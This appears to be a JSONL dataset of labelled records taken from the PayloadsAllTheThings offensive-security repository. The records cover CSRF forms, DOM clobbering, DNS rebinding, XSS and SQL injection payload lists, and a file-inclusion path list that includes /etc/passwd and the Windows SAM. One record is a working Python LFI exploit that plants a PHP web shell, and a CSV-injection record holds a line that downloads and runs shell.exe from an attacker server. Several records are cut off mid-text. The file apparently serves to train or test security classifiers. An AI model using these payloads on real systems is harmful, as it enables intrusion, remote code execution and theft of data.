{"id": "payloads_00116", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Cross-Site Request Forgery\n\n> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)\n    * [HTML GET - No User Interaction](#html-get---no-user-interaction)\n    * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)\n    * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)\n    * [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)\n    * [JSON GET - Simple Request](#json-get---simple-request)\n    * [JSON POST - Simple Request](#json-post---simple-request)\n    * [JSON POST - Complex Request](#json-post---complex-request)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.\n\n## Methodology\n\n![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)\n\nWhen you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.\n\n### HTML GET - Requiring User Interaction\n\n```html\n<a href=\"http://www.example.com/api/setusername?username=CSRFd\">Click Me</a>\n```\n\n### HTML GET - No User Interaction\n\n```html\n<img src=\"http://www.example.com/api/setusername?username=CSRFd\">\n```\n\n### HTML POST - Requiring User Interaction\n\n```html\n<form action=\"http://www.example.com/api/setusername\" enctype=\"text/plain\" method=\"POST\">\n <input name=\"username\" type=\"hidden\" value=\"CSRFd\" />\n <input type=\"submit\" value=\"Submit Request\" />\n</form>\n```\n\n### HTML POST - AutoSubmit - No User Interaction\n\n```html\n<form id=\"autosubmit\" action=\"http://www.example.com/api/setusername\" enctype=\"text/plain\" method=\"POST\">\n <input name=\"username\" type=\"hidden\" value=\"CSRFd\" />\n <input type=\"submit\" value=\"Submit Request\" />\n</form>\n \n<script>\n document.getElementById(\"autosubmit\").submit();\n</script>\n```\n\n### HTML POST - multipart/form-data With File Upload - Requiring User Interaction\n\n```html\n<script>\nfunction launch(){\n    const dT = new DataTransfer();\n    const file = new File( [ \"CSRF-filecontent\" ], \"CSRF-filename\" );\n    dT.items.add( file );\n    document.xss[0].files = dT.files;\n\n    document.xss.submit()\n}\n</script>\n\n<form style=\"display: none\" name=\"xss\" method=\"post\" action=\"<target>\" enctype=\"multipart/form-data\">\n<input id=\"file\" type=\"file\" name=\"file\"/>\n<input type=\"submit\" name=\"\" value=\"\" size=\"0\" />\n</form>\n<button value=\"button\" onclick=\"launch()\">Submit Request</button>\n```\n\n### JSON GET - Simple Request\n\n```html\n<script>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"http://www.example.com/api/currentuser\");\nxhr.send();\n</script>\n```\n\n### JSON POST - Simple Request\n\nWith XHR :\n\n```html\n<script>\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"http://www.example.com/api/setrole\");\n//application/json is not allowed in a simple request. text/plain is the default\nxhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n//You will probably want to also try one or both of these\n//xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n//xhr.setRequestHeader(\"Content-Type\", \"multipart/form-data\");\nxhr.send('{\"role\":admin}');\n</script>\n```\n\nWith autosubmit send form, w", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site request forgery payload from Cross-Site Request Forgery/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00117", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# DOM Clobbering\n\n> DOM Clobbering is a technique where global variables can be overwritten or \"clobbered\" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.\n\n## Summary\n\n- [Tools](#tools)\n- [Methodology](#methodology)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers\n- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.\n- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities\n\n## Methodology\n\nExploitation requires any kind of `HTML injection` in the page.\n\n- Clobbering `x.y.value`\n\n    ```html\n    // Payload\n    <form id=x><output id=y>I've been clobbered</output>\n\n    // Sink\n    <script>alert(x.y.value);</script>\n    ```\n\n- Clobbering `x.y` using ID and name attributes together to form a DOM collection\n\n    ```html\n    // Payload\n    <a id=x><a id=x name=y href=\"Clobbered\">\n\n    // Sink\n    <script>alert(x.y)</script>\n    ```\n\n- Clobbering `x.y.z` - 3 levels deep\n\n    ```html\n    // Payload\n    <form id=x name=y><input id=z></form>\n    <form id=x></form>\n\n    // Sink\n    <script>alert(x.y.z)</script>\n    ```\n\n- Clobbering `a.b.c.d` - more than 3 levels\n\n    ```html\n    // Payload\n    <iframe name=a srcdoc=\"\n    <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>\"></iframe>\n    <style>@import '//portswigger.net';</style>\n\n    // Sink\n    <script>alert(a.b.c.d)</script>\n    ```\n\n- Clobbering `forEach` (Chrome only)\n\n    ```html\n    // Payload\n    <form id=x>\n    <input id=y name=z>\n    <input id=y>\n    </form>\n\n    // Sink\n    <script>x.y.forEach(element=>alert(element))</script>\n    ```\n\n- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute\n\n    ```html\n    // Payloads\n    <html id=\"cdnDomain\">clobbered</html>\n    <svg><body id=cdnDomain>clobbered</body></svg>\n\n\n    // Sink \n    <script>\n    alert(document.getElementById('cdnDomain').innerText);//clobbbered\n    </script>\n    ```\n\n- Clobbering `x.username`\n\n    ```html\n    // Payload\n    <a id=x href=\"ftp:Clobbered-username:Clobbered-Password@a\">\n\n    // Sink\n    <script>\n    alert(x.username)//Clobbered-username\n    alert(x.password)//Clobbered-password\n    </script>\n    ```\n\n- Clobbering (Firefox only)\n\n    ```html\n    // Payload\n    <base href=a:abc><a id=x href=\"Firefox<>\">\n\n    // Sink\n    <script>\n    alert(x)//Firefox<>\n    </script>\n    ```\n\n- Clobbering (Chrome only)\n\n    ```html\n    // Payload\n    <base href=\"a://Clobbered<>\"><a id=x name=x><a id=x name=xyz href=123>\n\n    // Sink\n    <script>\n    alert(x.xyz)//a://Clobbered<>\n    </script>\n    ```\n\n## Tricks\n\n- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`\"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href=\"cid:&quot;onerror=alert(1)//\">`\n\n## Labs\n\n- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)\n- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)\n- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)\n\n## References\n\n- [Bypassing CSP via DOM", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "DOM clobbering payload from DOM Clobbering/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00118", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#!/usr/bin/python\n# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf\n# The following line is not required but supposedly optimizes code.  \n# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16.  This can be a pain to revert.\n# from builtins import range\nfrom __future__ import print_function\nimport sys\nimport threading\nimport socket\n\ndef setup(host, port):\n    TAG=\"Security Test\"\n    PAYLOAD=\"\"\"%s\\r\n<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET[\"f\"]);?>');?>\\r\"\"\" % TAG\n    REQ1_DATA=\"\"\"-----------------------------7dbff1ded0714\\r\nContent-Disposition: form-data; name=\"dummyname\"; filename=\"test.txt\"\\r\nContent-Type: text/plain\\r\n\\r\n%s\n-----------------------------7dbff1ded0714--\\r\"\"\" % PAYLOAD\n    padding=\"A\" * 5000\n    REQ1=\"\"\"POST /phpinfo.php?a=\"\"\"+padding+\"\"\" HTTP/1.1\\r\nCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=\"\"\"+padding+\"\"\"\\r\nHTTP_ACCEPT: \"\"\" + padding + \"\"\"\\r\nHTTP_USER_AGENT: \"\"\"+padding+\"\"\"\\r\nHTTP_ACCEPT_LANGUAGE: \"\"\"+padding+\"\"\"\\r\nHTTP_PRAGMA: \"\"\"+padding+\"\"\"\\r\nContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\\r\nContent-Length: %s\\r\nHost: %s\\r\n\\r\n%s\"\"\" %(len(REQ1_DATA),host,REQ1_DATA)\n    #modify this to suit the LFI script\n    LFIREQ=\"\"\"GET /lfi.php?load=%s%%00 HTTP/1.1\\r\nUser-Agent: Mozilla/4.0\\r\nProxy-Connection: Keep-Alive\\r\nHost: %s\\r\n\\r\n\\r\n\"\"\"\n    return (REQ1, TAG, LFIREQ)\n\ndef phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n    s.connect((host, port))\n    s2.connect((host, port))\n\n    s.send(phpinforeq)\n    d = \"\"\n    while len(d) < offset:\n        d += s.recv(offset)\n    try:\n        i = d.index(\"[tmp_name] =>\")\n        if i == -1:\n            i = d.index(\"[tmp_name] =&gt;\")\n        fn = d[i+17:i+31]\n    except ValueError:\n        return None\n\n    s2.send(lfireq % (fn, host))\n    d = s2.recv(4096)\n    s.close()\n    s2.close()\n\n    if d.find(tag) != -1:\n        return fn\n\ncounter=0\nclass ThreadWorker(threading.Thread):\n    def __init__(self, e, l, m, *args):\n        threading.Thread.__init__(self)\n        self.event = e\n        self.lock =  l\n        self.maxattempts = m\n        self.args = args\n\n    def run(self):\n        global counter\n        while not self.event.is_set():\n            with self.lock:\n                if counter >= self.maxattempts:\n                    return\n                counter+=1\n\n            try:\n                x = phpInfoLFI(*self.args)\n                if self.event.is_set():\n                    break\n                if x:\n                    print(\"\\nGot it! Shell created in /tmp/g\")\n                    self.event.set()\n\n            except socket.error:\n                return\n\n\ndef getOffset(host, port, phpinforeq):\n    \"\"\"Gets offset of tmp_name in the php output\"\"\"\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((host,port))\n    s.send(phpinforeq)\n\n    d = \"\"\n    while True:\n        i = s.recv(4096)\n        d+=i\n        if i == \"\":\n            break\n        # detect the final chunk\n        if i.endswith(\"0\\r\\n\\r\\n\"):\n            break\n    s.close()\n    i = d.find(\"[tmp_name] =>\")\n    if i == -1:\n        i = d.find(\"[tmp_name] =&gt;\")\n    if i == -1:\n        raise ValueError(\"No php tmp_name in phpinfo output\")\n\n    print(\"found %s at %i\" % (d[i:i+10],i))\n    # padded up a bit\n    return i+256\n\ndef main():\n\n    print(\"LFI With PHPInfo()\")\n    print(\"-=\" * 30)\n\n    if len(sys.argv) < 2:\n        print(\"Usage: %s host [port] [threads]\" % sys.argv[0])\n        sys.exit(1)\n\n    try:\n        host = socket.gethostbyname(sys.argv[1])\n    except socket.error as e:\n        print(\"Error with hostname %s: %s\" % (sys.argv[1], e))\n        sys.exit(1)\n\n    port=80\n    try:\n        port = int(sys.argv[2])\n    except IndexError:\n        pass\n    except ValueError as e:\n        print(\"Error with po", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/phpinfolfi.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00119", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# DNS Rebinding\n\n> DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n* [Protection Bypasses](#protection-bypasses)\n    * [0.0.0.0](#0000)\n    * [CNAME](#cname)\n    * [localhost](#localhost)\n* [References](#references)\n\n## Tools\n\n* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.\n* [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.\n* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service\n* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper\n\n## Methodology\n\n**Setup Phase**:\n\n* Register a malicious domain (e.g., `malicious.com`).\n* Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.\n\n**Initial Victim Interaction**:\n\n* Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.\n* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).\n\n**Initial DNS Resolution**:\n\n* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.\n* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).\n\n**Rebinding to Internal IP**:\n\n* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim\u2019s router or other internal devices).\n\nThis is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.\n\n**Same-Origin Exploitation:**\n\nThe browser treats subsequent responses as coming from the same origin (`malicious.com`).\n\nMalicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.\n\n**Example:**\n\n1. Register a domain.\n2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.\n4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.\n5. Wait for the attack to finish (it can take few seconds/minutes).\n\n## Protection Bypasses\n\n> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.\n\nIn the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.\n\n### 0.0.0.0\n\nWe can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.\n\n### CNAME\n\nWe can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.\nSince our response will only return a CNAME of an internal server,\nthe rule filtering internal IP addresses will not be applied.\nThen, the local, internal DNS server will resolve the CNAME.\n\n```bash\n$ dig cname.example.com +noall +answer\n; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer\n;; global options: ", "findings": [{"category": "malicious", "subcategory": "malicious.ssrf", "severity": "high", "explanation": "DNS rebinding (SSRF variant) payload from DNS Rebinding/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00120", "source": "payloads_all_the_things", "source_license": "MIT", "text": "javascript:alert(1)//INJECTX\n<svg/onload=alert(1)>//INJECTX\n<img onload=alert(1)>//INJECTX\n<img src=x onerror=prompt(1)>//INJECTX\n<a href=\"javascript:alert(1)\" onmouseover=alert(1)>INJECTX HOVER</a>\n onmouseover=\"document.cookie=true;\">//INJECTX\nalert(1)>//INJECTX\n<h1>INJECTX</h1>\n<img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)>\n<svg><script>/<@/>alert(1)</script>//INJECTX\n<svg/onload=alert(/INJECTX/)>\n<iframe/onload=alert(/INJECTX/)>\n<svg/onload=alert`INJECTX`>\n<svg/onload=alert(/INJECTX/)>\n<svg/onload=alert(`INJECTX`)>\n}alert(/INJECTX/);{//\n<h1/onclick=alert(1)>a//INJECTX\n<svg/onload=alert(/INJECTX/)>\n<p/onclick=alert(/INJECTX/)>a\n<svg/onload=alert`INJECTX`>\n<svg/onload=alert(/INJECTX/)>\n<svg/onload=alert(`INJECTX`)>\n<video><source onerror=\"javascript:alert(1)\">//INJECTX\n<video onerror=\"javascript:alert(1)\"><source>//INJECTX\n<audio onerror=\"javascript:alert(1)\"><source>//INJECTX\n<input autofocus onfocus=alert(1)>//INJECTX\n<select autofocus onfocus=alert(1)>//INJECTX\n<textarea autofocus onfocus=alert(1)>//INJECTX\n<keygen autofocus onfocus=alert(1)>//INJECTX\n<button form=test onformchange=alert(1)>//INJECTX\n<form><button formaction=\"javascript:alert(1)\">//INJECTX\n<svg onload=(alert)(1) >//INJECTX\n<script>$=1,alert($)</script>//INJECTX\n<!--<img src=\"--><img src=x onerror=alert(1)//\">//INJECTX\n<img/src='x'onerror=alert(1)>//INJECTX\n<marguee/onstart=alert(1)>//INJECTX\n<script>alert(1)//INJECTX\n<script>alert(1)<!--INJECTX\n<marquee loop=1 width=0 onfinish=alert(1)>//INJECTX", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/xss_payloads_quick.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00121", "source": "payloads_all_the_things", "source_license": "MIT", "text": "SLEEP(1) /*\u2018 or SLEEP(1) or \u2018\u201c or SLEEP(1) or \u201c*/\nSELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|\"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),\u200bSLEEP(1)))OR\"*/ FROM some_table WHERE ex = ample\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/SQLi_Polyglots.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00122", "source": "payloads_all_the_things", "source_license": "MIT", "text": "\\apache2\\log\\access_log\n\\apache2\\log\\access.log\n\\apache2\\log\\error_log\n\\apache2\\log\\error.log\n/apache2/logs/access.log\n/apache2/logs/access.log\n\\apache2\\logs\\access_log\n\\apache2\\logs\\access.log\n/apache2/logs/access.log%00\n/apache2/logs/error.log\n/apache2/logs/error.log\n\\apache2\\logs\\error_log\n\\apache2\\logs\\error.log\n/apache2/logs/error.log%00\n\\apache\\log\\access_log\n\\apache\\log\\access.log\n\\apache\\log\\error_log\n\\apache\\log\\error.log\n/apache/logs/access.log\n/apache/logs/access.log \n/apache/logs/access.log\n\\apache\\logs\\access_log\n\\apache\\logs\\access.log\n/apache/logs/access.log%00\n/apache/logs/error.log\n/apache/logs/error.log \n/apache/logs/error.log\n\\apache\\logs\\error_log\n\\apache\\logs\\error.log\n/apache/logs/error.log%00\n/apache\\php\\php.ini\n/apache\\php\\php.ini\n/apache\\php\\php.ini%00\n/bin/php.ini\n/bin/php.ini\n/bin/php.ini%00\nc:\\apache\\php\\php.ini\nC:\\apache\\php\\php.ini\nC:\\boot.ini\nc:\\home2\\bin\\stable\\apache\\php.ini\nC:\\home2\\bin\\stable\\apache\\php.ini\nc:\\home\\bin\\stable\\apache\\php.ini\nC:\\home\\bin\\stable\\apache\\php.ini\nC:\\MySQL\\data\\hostname.err\nC:\\MySQL\\data\\mysql-bin.log\nC:\\MySQL\\data\\mysql.err\nC:\\MySQL\\data\\mysql.log\nC:\\MySQL\\my.cnf\nC:\\MySQL\\my.ini\nc:\\NetServer\\bin\\stable\\apache\\php.ini\nc:\\php4\\php.ini\nC:\\php4\\php.ini\nC:\\php4\\sessions\\\nc:\\php5\\php.ini\nC:\\php5\\php.ini\nC:\\php5\\sessions\\\nc:\\php\\php.ini\nc:\\PHP\\php.ini\nC:\\php\\php.ini\nC:\\php\\sessions\\\nC:\\ProgramFiles\\ApacheGroup\\Apache2\\conf\\httpd.conf\nC:\\ProgramFiles\\ApacheGroup\\Apache\\conf\\httpd.conf\nC:\\ProgramFiles\\ApacheGroup\\Apache\\logs\\access.log\nC:\\ProgramFiles\\ApacheGroup\\Apache\\logs\\error.log\nC:\\ProgramFiles\\MySQL\\data\\hostname.err\nC:\\ProgramFiles\\MySQL\\data\\mysql-bin.log\nC:\\ProgramFiles\\MySQL\\data\\mysql.err\nC:\\ProgramFiles\\MySQL\\data\\mysql.log\nC:\\ProgramFiles\\MySQL\\my.cnf\nC:\\ProgramFiles\\MySQL\\my.ini\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\data\\hostname.err\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\data\\mysql-bin.log\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\data\\mysql.err\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\data\\mysql.log\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\my.cnf\nC:\\ProgramFiles\\MySQL\\MySQLServer5.0\\my.ini\nC:\\ProgramFiles\\xampp\\apache\\conf\\httpd.conf\nc:\\WINDOWS\\php.ini\nC:\\WINDOWS\\php.ini\nC:\\WINDOWS\\Repair\\SAM\nC:\\WINDOWS\\TEMP\\\nC:\\WINDOWS\\win.ini\nc:\\WINNT\\php.ini\nC:\\WINNT\\php.ini\nC:\\WINNT\\win.ini\nc:\\xampp\\apache\\bin\\php.ini\nC:\\xampp\\apache\\bin\\php.ini\netc%2fpasswd\netc%2fpasswd%00\netc%5cpasswd\netc%5cpasswd%00\n/etc/apache2/apache2.conf\n/etc/apache2.conf\n/etc/apache2/conf/httpd.conf\n/etc/apache2/conf/httpd.conf\n/etc/apache2/conf/httpd.conf%00\n/etc/apache2/httpd.conf\n/etc/apache2/httpd.conf\n/etc/apache2/httpd.conf%00\n/etc/apache2/sites-available/default\n/etc/apache2/sites-enabled/000-default\n/etc/apache/apache.conf\n/etc/apache/conf/httpd.conf\n/etc/apache/conf/httpd.conf\n/etc/apache/conf/httpd.conf%00\n/etc/apache/httpd.conf\netc%c0%afpasswd\netc%c0%afpasswd%00\n/etc/chrootUsers\n/etc/chrootUsers\n/etc/chrootUsers%00\n/etc/crontab\n/etc/fstab\n/etc/ftpchroot\n/etc/ftpchroot\n/etc/ftpchroot%00\n/etc/ftphosts\n/etc/ftphosts\n/etc/ftphosts%00\n/etc/group\n/etc/group\n/etc/group%00\n/etc/hosts\n/etc/http/conf/httpd.conf\n/etc/http/conf/httpd.conf\n/etc/http/conf/httpd.conf%00\n/etc/httpd.conf\n/etc/httpd.conf\n/etc/httpd.conf%00\n/etc/httpd/conf.d/php.conf\n/etc/httpd/conf/httpd.conf\n/etc/httpd/conf/httpd.conf\n/etc/httpd/conf/httpd.conf%00\n/etc/httpd/httpd.conf\n/etc/httpd/httpd.conf\n/etc/httpd/httpd.conf%00\n/etc/httpd/logs/acces_log\n/etc/httpd/logs/acces_log \n/etc/httpd/logs/acces.log\n/etc/httpd/logs/acces.log \n/etc/httpd/logs/acces_log%00\n/etc/httpd/logs/acces.log%00\n/etc/httpd/logs/access_log\n/etc/httpd/logs/access.log\n/etc/httpd/logs/access.log\n/etc/httpd/logs/error_log\n/etc/httpd/logs/error_log \n/etc/httpd/logs/error_log\n/etc/httpd/logs/error.log\n/etc/httpd/logs/error.log \n/etc/httpd/logs/error_log%00\n/etc/httpd/logs/error.log%00\n/etc/httpd/php.ini\n/etc/httpd/php.ini\n/etc/httpd/php.ini%00\n/etc/http/httpd.conf\n/etc/http/httpd.conf\n/etc/http/httpd.conf%00\n/etc/inittab\n/etc/issue\n/etc/issue\n/etc/logrotate.d/ftp\n/etc/logrotat", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/List_Of_File_To_Include.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00123", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# CSV Injection\n\n> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [Google Sheets](#google-sheets)\n* [References](#references)\n\n## Methodology\n\nCSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:\n\n```powershell\n=\n+\n\u2013\n@\n```\n\nBasic exploits with **Dynamic Data Exchange**.\n\n* Spawn a calc\n\n    ```powershell\n    DDE (\"cmd\";\"/C calc\";\"!A0\")A0\n    @SUM(1+1)*cmd|' /C calc'!A0\n    =2+5+cmd|' /C calc'!A0\n    =cmd|' /C calc'!'A1'\n    ```\n\n* PowerShell download and execute\n\n    ```powershell\n    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0\n    ```\n\n* Prefix obfuscation and command chaining\n\n    ```powershell\n    =AAAA+BBBB-CCCC&\"Hello\"/12345&cmd|'/c calc.exe'!A\n    =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A\n    =         cmd|'/c calc.exe'!A\n    ```\n\n* Using rundll32 instead of cmd\n\n    ```powershell\n    =rundll32|'URL.dll,OpenURL calc.exe'!A\n    =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A\n    ```\n\n* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.\n\n    ```powershell\n    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A\n    ```\n\nTechnical details of the above payloads:\n\n* `cmd` is the name the server can respond to whenever a client is trying to access the server\n* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)\n* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data\n\n### Google Sheets\n\nGoogle Sheets allows some additional formulas that are able to fetch remote URLs:\n\n* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)\n* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)\n* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)\n* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])\n* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)\n\nSo one can test blind formula injection or a potential for data exfiltration with:\n\n```c\n=IMPORTXML(\"http://burp.collaborator.net/csv\", \"//a/@href\")\n```\n\nNote: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.\n\n## References\n\n* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)\n* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)\n* [CSV Injection \u2013 A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)\n* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)\n* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)\n* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)\n* [Your Excel Sheets Are Not Safe! Here's How to Beat CS", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "CSV injection payload from CSV Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
